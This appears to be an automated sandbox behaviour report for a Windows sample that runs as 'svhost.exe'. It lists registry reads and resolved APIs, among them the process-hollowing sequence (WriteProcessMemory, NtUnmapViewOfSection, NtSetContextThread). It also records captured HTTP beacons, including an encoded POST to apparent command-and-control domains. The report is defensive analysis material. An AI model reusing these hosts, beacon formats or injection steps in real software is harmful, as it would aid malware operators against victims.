HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles

Write Keys

Nothing to display

Delete Keys

Nothing to display

Mutexes

Global\CLR_CASOFF_MUTEX

Resolved APIs

advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
advapi32.dll.EventRegister
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
kernel32.dll.InitializeCriticalSectionAndSpinCount
kernel32.dll.IsProcessorFeaturePresent
msvcrt.dll._set_error_mode
msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z
kernel32.dll.FindActCtxSectionStringW
kernel32.dll.GetSystemWindowsDirectoryW
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
mscorwks.dll._CorExeMain
mscorwks.dll.GetCLRFunction
advapi32.dll.RegisterTraceGuidsW
advapi32.dll.UnregisterTraceGuids
advapi32.dll.GetTraceLoggerHandle
advapi32.dll.GetTraceEnableLevel
advapi32.dll.GetTraceEnableFlags
advapi32.dll.TraceEvent
mscoree.dll.IEE
mscoreei.dll.IEE
mscorwks.dll.IEE
mscoree.dll.GetStartupFlags
mscoreei.dll.GetStartupFlags
mscoree.dll.GetHostConfigurationFile
mscoreei.dll.GetHostConfigurationFile
mscoreei.dll.GetCORVersion
mscoree.dll.GetCORSystemDirectory
mscoreei.dll.GetCORSystemDirectory_RetAddr
mscoreei.dll.CreateConfigStream
ntdll.dll.RtlUnwind
kernel32.dll.IsWow64Process
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddVectoredContinueHandler
kernel32.dll.RemoveVectoredContinueHandler
advapi32.dll.ConvertSidToStringSidW
shell32.dll.SHGetFolderPathW
kernel32.dll.GetWriteWatch
kernel32.dll.ResetWriteWatch
kernel32.dll.CreateMemoryResourceNotification
kernel32.dll.QueryMemoryResourceNotification
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
uxtheme.dll.ThemeInitApiHook
user32.dll.IsProcessDPIAware
kernel32.dll.QueryActCtxW
ole32.dll.CoGetContextToken
kernel32.dll.GetFullPathNameW
kernel32.dll.GetVersionExW
advapi32.dll.CryptAcquireContextA
advapi32.dll.CryptReleaseContext
advapi32.dll.CryptCreateHash
advapi32.dll.CryptDestroyHash
advapi32.dll.CryptHashData
advapi32.dll.CryptGetHashParam
advapi32.dll.CryptImportKey
advapi32.dll.CryptExportKey
advapi32.dll.CryptGenKey
advapi32.dll.CryptGetKeyParam
advapi32.dll.CryptDestroyKey
advapi32.dll.CryptVerifySignatureA
advapi32.dll.CryptSignHashA
advapi32.dll.CryptGetProvParam
advapi32.dll.CryptGetUserKey
advapi32.dll.CryptEnumProvidersA
mscoree.dll.GetMetaDataInternalInterface
mscoreei.dll.GetMetaDataInternalInterface
mscorwks.dll.GetMetaDataInternalInterface
mscorjit.dll.getJit
kernel32.dll.GetUserDefaultUILanguage
kernel32.dll.GetCurrentProcess
kernel32.dll.GetCurrentThread
kernel32.dll.DuplicateHandle
kernel32.dll.GetCurrentThreadId
bcrypt.dll.BCryptGetFipsAlgorithmMode
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptCreateHash
cryptsp.dll.CryptHashData
cryptsp.dll.CryptGetHashParam
cryptsp.dll.CryptDestroyHash
cryptsp.dll.CryptGenRandom
kernel32.dll.GetEnvironmentVariableW
kernel32.dll.lstrlen
kernel32.dll.lstrlenW
kernel32.dll.SetErrorMode
kernel32.dll.GetFileAttributesExW
mscoreei.dll.LoadLibraryShim
culture.dll.ConvertLangIdToCultureName
kernel32.dll.CloseHandle
advapi32.dll.LookupPrivilegeValueW
advapi32.dll.AdjustTokenPrivileges
ntdll.dll.NtQuerySystemInformation
mscoree.dll.DllGetClassObject
mscoreei.dll.DllGetClassObject
diasymreader.dll.DllGetClassObjectInternal
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
kernel32.dll.DeleteFileW
kernel32.dll.CopyFileW
kernel32.dll.GetCurrentProcessId
kernel32.dll.OpenProcess
psapi.dll.EnumProcessModules
psapi.dll.GetModuleInformation
psapi.dll.GetModuleBaseNameW
psapi.dll.GetModuleFileNameExW
kernel32.dll.GetProcAddress
kernel32.dll.CreateProcessA
kernel32.dll.ReadProcessMemory
kernel32.dll.WriteProcessMemory
kernel32.dll.GetThreadContext
ntdll.dll.NtSetContextThread
ntdll.dll.NtUnmapViewOfSection
kernel32.dll.VirtualAllocEx
ntdll.dll.NtResumeThread
kernel32.dll.SwitchToThread
psapi.dll.EnumProcesses
kernel32.dll.GlobalMemoryStatusEx
kernel32.dll.TerminateProcess

Execute Commands

"C:\Users\Seven01\AppData\Local\Temp\svhost.exe"

Started Services

Nothing to display

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven03_64 Seven03_64 VirtualBox 2018-04-12 08:49:51 2018-04-12 08:52:41 170

16 HTTP Request(s) detected

http://www.42flag.com/mi/?adsDxBr=GgqYpmmyPGIiZq3E3pjLqjQiYjCFwzop2pZ92wxXmdPOMUNNCP00CKFReyf61dygkVDBdsm6&00D=qDKx_Li0IP4DEJa
  • Hostname: www.42flag.com
  • IP Address: 52.0.217.44
  • Port: 80
  • Count: 1

GET /mi/?adsDxBr=GgqYpmmyPGIiZq3E3pjLqjQiYjCFwzop2pZ92wxXmdPOMUNNCP00CKFReyf61dygkVDBdsm6&00D=qDKx_Li0IP4DEJa HTTP/1.1
Host: www.42flag.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.thesquareowl.com/mi/?adsDxBr=vPwXl5XA0K2YEUrG2vjVCnx4/kUoYXYgKYxBsUrJO9mX3Tb9EX8iiOOrKs7zj5EDJmFHA7ZY&00D=qDKx_Li0IP4DEJa
  • Hostname: www.thesquareowl.com
  • IP Address: 204.11.56.48
  • Port: 80
  • Count: 1

GET /mi/?adsDxBr=vPwXl5XA0K2YEUrG2vjVCnx4/kUoYXYgKYxBsUrJO9mX3Tb9EX8iiOOrKs7zj5EDJmFHA7ZY&00D=qDKx_Li0IP4DEJa HTTP/1.1
Host: www.thesquareowl.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.thesquareowl.com/mi/
  • Hostname: www.thesquareowl.com
  • IP Address: 204.11.56.48
  • Port: 80
  • Count: 1

POST /mi/ HTTP/1.1
Host: www.thesquareowl.com
Connection: close
Content-Length: 2201
Cache-Control: no-cache
Origin: http://www.thesquareowl.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.thesquareowl.com/mi/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

adsDxBr=nt8t7ZbA0b3ubTu29a6WQw9H2G10bXQGRNJRglDELc6jwg3aFS0p8e7XNMXqi74CYG9rHe4zgLHWHozefrlWrduEf5OpQHMB9DcqJm141mnCVOBdvDDrznmOf8RKTT0IjB0s1xbkLcSQ1BFNdtnRUjtApu0kFAwrIgXhPIEqKVwwL00mXJSNIOxRff6myjvY0yZl608B5YS2h7tvyHhqtO~qi3rnNwxRWkcTUHzRzK4I6QASXPH26_8P8v5rVTXIh34j7Cg67_yw7Kkwx6(BvjFfuul4Kv4Frr03fQ85WzR9fD5R4REiejXFr7WlekTDzHT4H64MsPpDrBxDRoMTdNF0tqXtbeLdF2KI(FrsJGGCoR9p9KgbZMONKST9zxErcG9DLoih9TMewDVujuFHnzgJx1WFWlQzleyoHF9nL-sIBbjPi8YKN0imBOkSYuLQSVyKAz3GU4cv6jLc61sIhANDNym5I1yFEXXHHZ3vG4jwIXq9ZPNq~WgpM27R7rEnZq48Je5AqoPv5evUT4mKl2tx~GxUW_gt~CyXpdWvLBSSZhD_4kc0xqJS7_mmG2HaFy6MPZLslT(iGi4ntTsfGURym1NHTebTchbPZqlHCDPDXJBvIkt8RpL8ldCv~Q7bdES799jb8tk97zeMlFrZtl27lCvzytTtD-e41KvbAzYyDXmgVM3uh-YT0eWo~3uhREXff8GpvOnmwwt19Rg8xgdFqsyqMVeTqI02BJu6fhn_l73ebXksnGw1xKhQbcWaVk0jvZWEtyke5LNllBbqwBawvK89EaI3Ek8gRP5F0kRnGa6Of7nPaaXkDg4oEL(1Ee4XZjyt0nVG~OqXlqT6fqpn3z6Po2JKB6w8Xj4YgyJYtDKXjJlEZz5lAiR_itoTTDgpdByLtbs53XPyCKvo85BIUvh8FcyBRYRcxrmxUJuxneOBYijPCQbPnwh-7Ku7vCOs~WEZAt8YmK1NeDsZ9X5wHHpXkDPMZnE8C3h4G71-gWhvgTuI3g1WMGNzRgak1UeNAIaoCgg1dNG6qCt2hBGmxlICp1OwierNEyyYSt(XheZNH9hXE52IcvdIFmFof8jvzuU21LB8x1zgxC8kSdhVsTR14ratmyjZrXH8d0Qq2hh24hSdi37X~YY3Vr4nzcTeEKS2fTk3VobbDZxENx(M78aODYa9SQHuV5~rz9EmRykEH2~plx0Tka(MVfX2vnf1vNKyZ8XPlqTpfvwzRwmHrw~iKNHgwjuxMDCaSnHK7yaUc2rPZMNVvCZkt6XjK4394aSuzHcGvMxpmpsvVogcFY07Vsc_mVtf74ucpf207-xFOUFbIg8Cib168_WXWEq5d5UH712N1CSIRk5csdOz6TfvXgNuCt862gip~Y6P1leb~GdhWpGJoniJFPJ97ytZSr5j6RYOIX(u9LTJZftVmspxfLmLL1QUgv6y5mE8SrD01Q35v_OWykbLZGJZinbE~kc4bEDC9x(qn0K57eqh6YZ-8xqNoxr7sLWJu97zYErYeK(DhzwAJQoIswB6CH7gQhRrcRHyBUkrRq0Gh0x9fZ1_dtyulDKwSIClXLxLg2BSZK~iVM2hYB80YBYqeo(Yr2rkndUGX4Ie0EmkF1Xykpou5unS~pWFtit5(rCGBTIH6Dd-pcp7KDG7j6m7H1mcpVnOMbVDfl2Xjb(t7Un-QzLbGrvuXeK7HDVlHsLyDdfHerPJ918uTqokuU3wEZ7DtcOjWtdFofLjOwItZ0ZIk8R7yIcY3NSf2k(rXpEs1T53zW2CMFR5HkCmJBUmBhHQjl4q0pqT71k1KLvdz2STSqN-1ajBtqiFYl3iEFBXrNYNof3gaKOLo9r4cDLEJXVyoEgB9xO65C(5htv7mS2qIhTjWPyjNTWQ(CFZ5sd6PbGeyKGMY7GSYwERg6LKsDU99oFyqqhNDnSo9VEqje54B2tDvq1eUOT7B6PbAx7yjuG1GIY6VIHouWwEZLbU44vDwGMijKYP(ReRJuINDe2bxJ0fvInSuidJ4nA5Bo58WKwiFafSutDlW96EdbJTCIFIoZwf02a1xS9hp7PJT43wDCiDEP1-MEDwO7(1WBcPBMf